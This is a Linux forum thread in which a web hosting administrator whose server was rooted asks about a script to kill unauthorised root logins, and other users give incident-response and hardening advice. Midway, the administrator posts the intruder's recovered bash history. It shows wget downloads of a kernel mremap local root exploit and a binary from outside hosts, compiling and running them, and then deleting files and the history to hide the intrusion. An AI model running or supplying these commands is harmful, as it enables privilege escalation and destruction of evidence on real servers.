I started up a previous thread about a security solution for Unix / Linux. That thread is getting a bit long now, and I'm changing the original idea I had, hence this new thread.

Here's my secondary security solution - idea for my hack problem.

Couldn't you write a script (shell) and have it run as a background process that detects users that login with UID (0). Then it checks if this latest UID (0) is a user allowed root access. If so then it ignores it, other wise it INSTANTLY kills this user, such as it erases it from passwd file and also kills all its running processes INSTANTLY.

If this script was running as a backgound process then shuldn't it be able to kill the new UID (0) user so quickly they couldn't ever do anything nor could any rootkit they try to run? Since its a shell script you write - the hacker (and the root kit) wouldn't know its name or location.

Does this sound feasible? Also how does the program overflow method of hacking work? Would this idea stop this overflow method?

I would say No, this is not a good solution because it is 100% reactive -- the only way this approach would work is if an intruder was already in your system, which by definition can't be considered a valid "security solution". Also keep in mind that if the intruder could gain access to your system before, he can do so again even if you do log him out.

I am a total novice regarding security but even so I think preventing the intrusion in the first place should be where you concentrate your time/efforts. To use an analogy, I'd say it's a whole lot easier buying a new deadbolt for your front door to keep a burglar out than it is deciding what to do after the burglar has already broken into your house. -- J.W.

Hey look I'm not talking a perfect world here or perfection. I 'm talking about what inevitably happens and has happened to me right now. I bet if your server was hacked into right now you'd be looking for ways to prevent the hacker from doing harm to your system.

Our server got comprmised - its already happened - so now what can I do???? Its takes a few days to get another server up and running (Datacenters are busy places) to migrate clients to - its take time - during that day or two (in our case 4 days) the hacker is free to do as he pleases - what do I do then huh?

What I want to know - is can someone with some technical knowledge give me some feedback on this solution to my current problem - would this idea of a shell script stop the hacker being able to do stuff???

A shell script isn't going to stop a hacker. If they can get into your system as root, they can just as easily stop any running process(es). I would suggest setting up IPTables and only allowing the necessary ports access to the internet. A good IPTables configuration will go a long way.

Look bjdea1, I appreciate that you're frustrated with hackers because your system got compromised, but before you propose solutions you really need to understand what you're talking about. UNIX doesn't know the difference between "root" and "toor" if they're both UID0, all UNIX sees is the UID. The name of the account is just a friendly handle for humans to understand, not for the OS.

You really need to go read those books I linked in the last thread before you could suggest any sort of solution. You won't really know much until you read Security Warrior, but in order to understand any of the ideas in Security Warrior you need to read Hacking Exposed (it's more of an intro-level book).

Suffice it to say that many brilliant people have been thinking about Linux security for a lot longer than you have. As was already mentioned, LIDS, grsecurity, and SELinux (from the NSA) are all more complete solutions, and they try to change the system in fundamental ways in order to prevent exploits from being able to totally compromise a system.

If you're seriously into security, look at some of the things that OpenBSD does to make life a nightmare for hackers. Be warned, the OpenBSD mailing lists (and OpenBSD users in general) don't take kindly to newbie questions, and they'll probably tell you to "RTFF" (Read The F***ing FAQ--http://www.openbsd.org/faq/index.html). OpenBSD has a lot of features that demonstrate that Operating Systems can be designed much more securely than traditional Microsoft and UNIX-like OSs have been.

Rule #1 of security:

There is no silver bullet.




You aren't going to find a all-encompassing security "solution." Period. Bruce Schneier's instantly famous quote "Security is a process, not a product" got famous so quickly for a reason.

While you're idea might somehow be implemented as one element of a secure system, nothing is a solution. Defense in depth is an integral part of any secure system, as well as defending other aspects of the system than root logins.

To add-on what chort (who is probably the smartest security person youll find on this board) said: Read Hacking Exposed once, Secrets and Lies at least twice, and Security Warrior about 6 times, before you try to "innovate" in security, otherwise use the available products and a watchful eye.

Again, I will emphasize that I am a total novice, but based on what I've learned from reading posts from unSpawn, Capt_Caveman, and chort (among others) if your machine has been compromised then the very first thing you *must* do is disconnect that machine from the net and do a complete rebuild from "known to be good" sources. If that has a negative impact on clients, then so be it -- which is a better situation: protecting and guarding your and your client's data even if it means that the data is unavailable for a short period of time; or sacrificing security and integrity of your and your client's data in order to not have a service interruption? Note also that the latter scenario includes the option of an intruder installing a backdoor -- not good.

I'm sorry if you're upset and/or stressed out about an intrusion, because I'm sure I would be as well, however, your original post only solicited comments about whether it would be useful to write a shell script that logs out and disables any new users/processes with root privs. As I indicated before, No, I do not think that dealing with an intruder on a reactive basis should be considered a valid security solution. Dealing with an intrusion after the fact is one thing; preventing it in the first place is another. In both cases I'd defer to LQ'ers with more knowledge and experience. -- J.W.

BTW, weird no one mentioned the LQ FAQ: Security references yet...

First of all I agree the box should be isolated and closed off for (public) usage. IMHO the best way (in the sense of not being a liability for the rest of the 'net, regain/keep the trust of your customers and restore box integrity) would be to power off the box until rebuild/hardening has been done. Let's say it differently: if I where a customer of yours, and I found out you've been allowing me to do my stuff on a cracked box, you'll be in for a rollercoaster ride. If the rebuild is done, ask your datacenter to only open up the fw for ssh from one IP address/range you'll be doing your hardening stuff from before opening up to the 'net again. If powering off is not an option there's other ways to secure access, like using out of band access if you have it, but from what you wrote I think you better stay off the box until rebuilt and take it from there.


That said, let's try another approach if I may, and ask you about the setup and purpose of the box. Is this a shared hosting box where the datacenter only allows you to make changes on the application level, or do you have the box to yourself? Are you allowed OS level access to the box? If it's shared hosting, and if you've got an SLA, what does it cover in terms of them maintaining the box? How hard/easy is it to keep tabs on what they do in terms of maintenance and how hard/easy are they wrt cooperation? What's the distribution running? What packages are installed? Does the box reside in a separate VLAN (ask them for the network layout)? What is/are the purpose(s) of the box? What services are required to run? What kind of access do clients need? What kind of operations are clients allowed in what area's on the box? Hopefully we can turn this into advice on how to harden the box before it's put back on the 'net and while we discuss it educate you a bit on security. One of the things you should acquire is a mirror box to mimick the setup on, if possible. This will allow you to "play around" with various options (depending on the purpose of the box). Once your colo server is up you can continue to experiment with the mirror box and so minimise service disruption for customers.

If you're interested in doing an assessment this way, please research and post minute details, or post the location where to retrieve it if it's large files. I take compromises seriously. Please take the time to gather and post proper information. If we manage to help you well, please consider making a donation to LQ when done. Donations are strictly voluntary of course.

Thanks for this - but personally I don't want - right this minute to read through piles of more info. I'm dead tired right now - I've spent the last 4 days worrying - with much lost sleep.

Basically I've decided I'm not going to offer any shell access of any sort (limit shell to few IPs)- or only to trusted users and their IP's - I figure the majority of these hackers prefer to hack a server offering shell access to standard accounts. I'm going to remove user root from ssh, I'm going to disable telnet, I'm going to properly setup a firewall, I'm going to install tripwire and tomorrow I'll read up more on it - right now I'm going to sleep.

We are a web hosting business - I want our name to be kept anonymous, I know of many other hosts facing the same hack lately - one guy had 6 servers hack in 6 days!

For your interest this is how the hacker got into our system, his bash_history was caught by server backups, a local exploit :

w
ls -la
cd
sl
ls
wget http://www.web-hack.ru/exploit/source/mremap_pte.c
gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
ls
wget sniegas.lt/bu
cd
ls
cd www
ls
chmod 777 bu
./bu
./root
cd
ls
rm -rf mremap_pte.c
cd www
ls
rm -rf *
cd
ls
rm -rf
rm -rf .bash_history
w
ps aux
cd
ls


If the moderators here feel this is information that could be used by hackers to learn how to hack a server - pls remove it.

Also for your info - all clients have been migrated to the new server now - to stop hacker from continuing to use the old server - which will still be online a bit longer - I've got another server running a cron every minute that's issuing reboot commands every time the server is found to be online, that should frustrate the hacker !!! :-)

Well, that was one of the vulnerabilities that was listed as a sticky note on this forum for a long time, and everyone was urged to upgrade their kernel. No one was kidding when they said people could and would get rooted.

I haven't frequented this forum much lately - and this is another reason I didn't really want to go into all the details I knew I'd just get ridiculed, which doesn't really help muchl - does it?

Anyway I'm still learning and I'll know next time now just how simple a kernal upgrade is - this was the problem I was fearful what a kernal upgrade could mean to server uptime - I should have read up on it then, like I said I'm still learning.

Another thing - I'll be more helpful to others who go thru this now - I'll understand that there's more to it than just the technical help = there's the fact of remembering the administrator is a person with feelings, and that he'll be feeling bad enough already

I'm sorry I'm not usually like this - but I'm just pissed with things generally speaking. If it not one thing its another.... I'm looking forward to a holiday

I was just saying, posting the details isn't going to give anyone ideas, it's already well known.

Thanks for this - but personally I don't want - right this minute to read through piles of more info.
Your choice.


Basically I've decided I'm not going to offer any shell access of any sort (limit shell to few IPs)- or only to trusted users and their IP's - I figure the majority of these hackers prefer to hack a server offering shell access to standard accounts.
Shell access is cool, because you don't have to jump tru all sorts of hoops to get in: with the account you already got a foothold on the system to explore it.


I'm going to remove user root from ssh, I'm going to disable telnet, I'm going to properly setup a firewall, I'm going to install tripwire
These are issues that really needed to be resolved before letting users onto the system, especially setting up filesystem integrity checkers like Aide, Samhain or tripwire. If you do it afterwards it's pretty much useless.


We are a web hosting business - I want our name to be kept anonymous,
Not that I want to scare you off, but it was quite easy find out (if I'm correct that is).


this is another reason I didn't really want to go into all the details I knew I'd just get ridiculed, which doesn't really help muchl - does it?
I don't see anyone here trying to ridicule you: it's just your perception playing tricks on you.


I'll understand that there's more to it than just the technical help = there's the fact of remembering the administrator is a person with feelings, and that he'll be feeling bad enough already
Like the previous one this too is not an issue you want to keepfocus_sing on. If you do you're shooting the messenger w/o looking at the *real* message. Here at LQ we're willing to help you and we're capable to offer constructive advice for both forensics and hardening, but we need cooperation for that to work. You need to help us (provide info) so we can help you...